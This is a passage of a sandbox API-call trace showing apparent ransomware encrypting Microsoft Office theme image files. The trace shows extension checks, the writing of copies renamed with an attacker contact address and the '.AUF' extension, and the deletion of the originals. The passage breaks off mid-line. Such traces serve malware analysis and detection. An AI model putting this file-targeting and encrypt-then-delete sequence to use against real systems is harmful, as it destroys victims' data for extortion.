[0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString=".zip") returned 4 [0213.087] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.087] lstrlenW (lpString=".rar") returned 4 [0213.087] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.087] lstrlenW (lpString=".bz2") returned 4 [0213.087] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString=".7z") returned 3 [0213.087] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString=".dbf") returned 4 [0213.087] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString=".1cd") returned 4 [0213.087] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString=".jpg") returned 4 [0213.087] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString=".doc") returned 4 [0213.087] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString=".docx") returned 5 [0213.088] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.088] lstrlenW (lpString=".pdf") returned 4 [0213.088] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.088] lstrlenW (lpString=".xls") returned 4 [0213.088] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.088] lstrlenW (lpString=".xlsx") returned 5 [0213.088] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.088] lstrlenW (lpString=".ppt") returned 4 [0213.088] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.088] lstrlenW (lpString=".zip") returned 4 [0213.088] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.088] lstrlenW (lpString=".rar") returned 4 [0213.088] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.088] lstrlenW (lpString=".bz2") returned 4 [0213.088] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.088] lstrlenW (lpString=".7z") returned 3 [0213.088] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.088] lstrlenW (lpString=".dbf") returned 4 [0213.088] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.088] lstrlenW (lpString=".1cd") returned 4 [0213.088] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.088] lstrlenW (lpString=".jpg") returned 4 [0213.088] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.088] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.089] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.090] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1364) returned 1 [0213.090] CloseHandle (hObject=0x214) returned 1 [0213.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0213.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.090] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.090] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0213.419] GetLastError () returned 0x0 [0213.419] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x554, lpOverlapped=0x0) returned 1 [0213.420] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x560, lpOverlapped=0x0) returned 1 [0213.421] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.421] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.421] SetEndOfFile (hFile=0x20c) returned 1 [0213.421] CloseHandle (hObject=0x20c) returned 1 [0213.421] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.422] SetEndOfFile (hFile=0x214) returned 1 [0213.422] CloseHandle (hObject=0x214) returned 1 [0213.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.422] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString=".doc") returned 4 [0213.423] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.423] lstrlenW (lpString=".docx") returned 5 [0213.423] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.423] lstrlenW (lpString=".pdf") returned 4 [0213.423] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.423] lstrlenW (lpString=".xls") returned 4 [0213.423] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.423] lstrlenW (lpString=".xlsx") returned 5 [0213.423] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.423] lstrlenW (lpString=".ppt") returned 4 [0213.423] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString=".zip") returned 4 [0213.423] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.423] lstrlenW (lpString=".rar") returned 4 [0213.423] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.423] lstrlenW (lpString=".bz2") returned 4 [0213.423] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.423] lstrlenW (lpString=".7z") returned 3 [0213.423] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString=".dbf") returned 4 [0213.423] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString=".1cd") returned 4 [0213.423] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString=".jpg") returned 4 [0213.423] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.423] lstrlenW (lpString=".doc") returned 4 [0213.423] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.423] lstrlenW (lpString=".docx") returned 5 [0213.423] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.424] lstrlenW (lpString=".pdf") returned 4 [0213.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.424] lstrlenW (lpString=".xls") returned 4 [0213.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.424] lstrlenW (lpString=".xlsx") returned 5 [0213.424] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.424] lstrlenW (lpString=".ppt") returned 4 [0213.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.424] lstrlenW (lpString=".zip") returned 4 [0213.424] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.424] lstrlenW (lpString=".rar") returned 4 [0213.424] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.424] lstrlenW (lpString=".bz2") returned 4 [0213.424] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.424] lstrlenW (lpString=".7z") returned 3 [0213.424] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.424] lstrlenW (lpString=".dbf") returned 4 [0213.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.424] lstrlenW (lpString=".1cd") returned 4 [0213.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0213.424] lstrlenW (lpString=".jpg") returned 4 [0213.424] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.425] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.425] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.425] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1439) returned 1 [0213.425] CloseHandle (hObject=0x214) returned 1 [0213.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0213.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.425] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.425] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0213.428] GetLastError () returned 0x0 [0213.428] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x59f, lpOverlapped=0x0) returned 1 [0213.442] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0213.443] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.443] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.443] SetEndOfFile (hFile=0x20c) returned 1 [0213.443] CloseHandle (hObject=0x20c) returned 1 [0213.443] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.443] SetEndOfFile (hFile=0x214) returned 1 [0213.444] CloseHandle (hObject=0x214) returned 1 [0213.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.444] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0213.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.444] lstrlenW (lpString=".doc") returned 4 [0213.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.444] lstrlenW (lpString=".docx") returned 5 [0213.444] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.444] lstrlenW (lpString=".pdf") returned 4 [0213.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.444] lstrlenW (lpString=".xls") returned 4 [0213.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.444] lstrlenW (lpString=".xlsx") returned 5 [0213.445] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.445] lstrlenW (lpString=".ppt") returned 4 [0213.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".zip") returned 4 [0213.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString=".rar") returned 4 [0213.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString=".bz2") returned 4 [0213.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.445] lstrlenW (lpString=".7z") returned 3 [0213.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".dbf") returned 4 [0213.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".1cd") returned 4 [0213.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".jpg") returned 4 [0213.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".doc") returned 4 [0213.445] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.445] lstrlenW (lpString=".docx") returned 5 [0213.445] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.445] lstrlenW (lpString=".pdf") returned 4 [0213.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString=".xls") returned 4 [0213.445] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString=".xlsx") returned 5 [0213.445] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.445] lstrlenW (lpString=".ppt") returned 4 [0213.445] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".zip") returned 4 [0213.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString=".rar") returned 4 [0213.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.445] lstrlenW (lpString=".bz2") returned 4 [0213.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.445] lstrlenW (lpString=".7z") returned 3 [0213.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".dbf") returned 4 [0213.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.445] lstrlenW (lpString=".1cd") returned 4 [0213.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0213.446] lstrlenW (lpString=".jpg") returned 4 [0213.446] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.446] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.446] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.447] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1666) returned 1 [0213.448] CloseHandle (hObject=0x184) returned 1 [0213.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0213.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.448] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.448] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0213.450] GetLastError () returned 0x0 [0213.450] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x682, lpOverlapped=0x0) returned 1 [0213.468] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x690, lpOverlapped=0x0) returned 1 [0213.469] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.469] WriteFile (in: hFile=0x20c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.469] SetEndOfFile (hFile=0x20c) returned 1 [0213.469] CloseHandle (hObject=0x20c) returned 1 [0213.469] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.469] SetEndOfFile (hFile=0x184) returned 1 [0213.470] CloseHandle (hObject=0x184) returned 1 [0213.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0213.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0213.470] lstrlenW (lpString=".doc") returned 4 [0213.470] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.470] lstrlenW (lpString=".docx") returned 5 [0213.470] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.470] lstrlenW (lpString=".pdf") returned 4 [0213.470] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.470] lstrlenW (lpString=".xls") returned 4 [0213.470] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.470] lstrlenW (lpString=".xlsx") returned 5 [0213.470] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.470] lstrlenW (lpString=".ppt") returned 4 [0213.470] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 